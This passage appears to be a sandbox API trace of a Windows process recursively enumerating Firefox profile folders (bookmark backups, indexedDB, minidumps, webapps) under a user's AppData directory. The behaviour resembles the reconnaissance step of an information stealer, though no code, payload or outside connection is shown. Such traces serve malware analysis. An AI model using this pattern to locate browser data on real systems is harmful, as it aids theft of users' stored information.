ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xdf21e280, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xdf21e280, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x3a [0068.585] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.585] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default", lpFilePart=0x0) returned 0x4b [0068.585] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdf21e280, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x43c9cc70, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x43c9cc70, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default", lpFilePart=0x0) returned 0x4b [0068.585] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.599] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.599] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups", lpFilePart=0x0) returned 0x5b [0068.599] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default\\bookmarkbackups"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2149d70, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xf0393870, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xf0393870, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.600] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups", lpFilePart=0x0) returned 0x5b [0068.600] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.601] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.601] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups", lpFilePart=0x0) returned 0x5b [0068.601] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\bookmarkbackups\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.601] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.601] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB", lpFilePart=0x0) returned 0x55 [0068.601] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default\\indexeddb"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3e26830, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xe3e26830, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xe3e26830, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.601] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB", lpFilePart=0x0) returned 0x55 [0068.602] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.602] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.602] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home", lpFilePart=0x0) returned 0x69 [0068.602] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default\\indexeddb\\moz-safe-about+home"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3e26830, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xe3e26830, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xe3e26830, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.602] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home", lpFilePart=0x0) returned 0x69 [0068.602] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8ac0 [0068.603] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb", lpFilePart=0x0) returned 0x6d [0068.603] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default\\indexeddb\\moz-safe-about+home\\idb"), fInfoLevelId=0x0, lpFileInformation=0x6cfe980 | out: lpFileInformation=0x6cfe980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3e26830, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xe4d795d0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xe4d795d0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb", lpFilePart=0x0) returned 0x6d [0068.603] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fd8ac0 [0068.617] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", nBufferLength=0x105, lpBuffer=0x6cfe44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpFilePart=0x0) returned 0x80 [0068.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht"), fInfoLevelId=0x0, lpFileInformation=0x6cfe90c | out: lpFileInformation=0x6cfe90c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3f57330, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xe3f57330, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xe3f57330, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", nBufferLength=0x105, lpBuffer=0x6cfe434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpFilePart=0x0) returned 0x80 [0068.618] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x6cfe644 | out: lpFindFileData=0x6cfe644) returned 0x6fd8ac0 [0068.618] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", nBufferLength=0x105, lpBuffer=0x6cfe434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpFilePart=0x0) returned 0x80 [0068.618] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x6cfe644 | out: lpFindFileData=0x6cfe644) returned 0x6fd8ac0 [0068.618] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb", lpFilePart=0x0) returned 0x6d [0068.619] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fd8ac0 [0068.619] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home", lpFilePart=0x0) returned 0x69 [0068.619] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8ac0 [0068.619] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB", lpFilePart=0x0) returned 0x55 [0068.619] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\indexedDB\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.619] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps", lpFilePart=0x0) returned 0x55 [0068.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default\\minidumps"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdf21e280, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xdf21e280, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xdf21e280, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps", lpFilePart=0x0) returned 0x55 [0068.620] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.620] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps", lpFilePart=0x0) returned 0x55 [0068.620] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\minidumps\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.621] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps", lpFilePart=0x0) returned 0x53 [0068.621] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\firefox\\profiles\\p7ap74gw.default\\webapps"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe1d1f6f0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x41b78670, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x41b78670, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps", lpFilePart=0x0) returned 0x53 [0068.621] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.621] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps", lpFilePart=0x0) returned 0x53 [0068.621] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\webapps\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.622] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default", lpFilePart=0x0) returned 0x4b [0068.622] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\p7ap74gw.default\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.622] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x3a [0068.622] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.622] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x31 [0068.622] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.622] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.623] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla", lpFilePart=0x0) returned 0x29 [0068.623] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.623] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.623] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0068.623] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fd8ac0 [0068.623] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.624] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm") returned 0x43 [0068.657] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0068.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0068.657] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xdc00de80, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xdc00de80, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0068.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0068.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0068.657] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0068.657] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\*", lpFindFileData=0x6cfe9e4 | out: 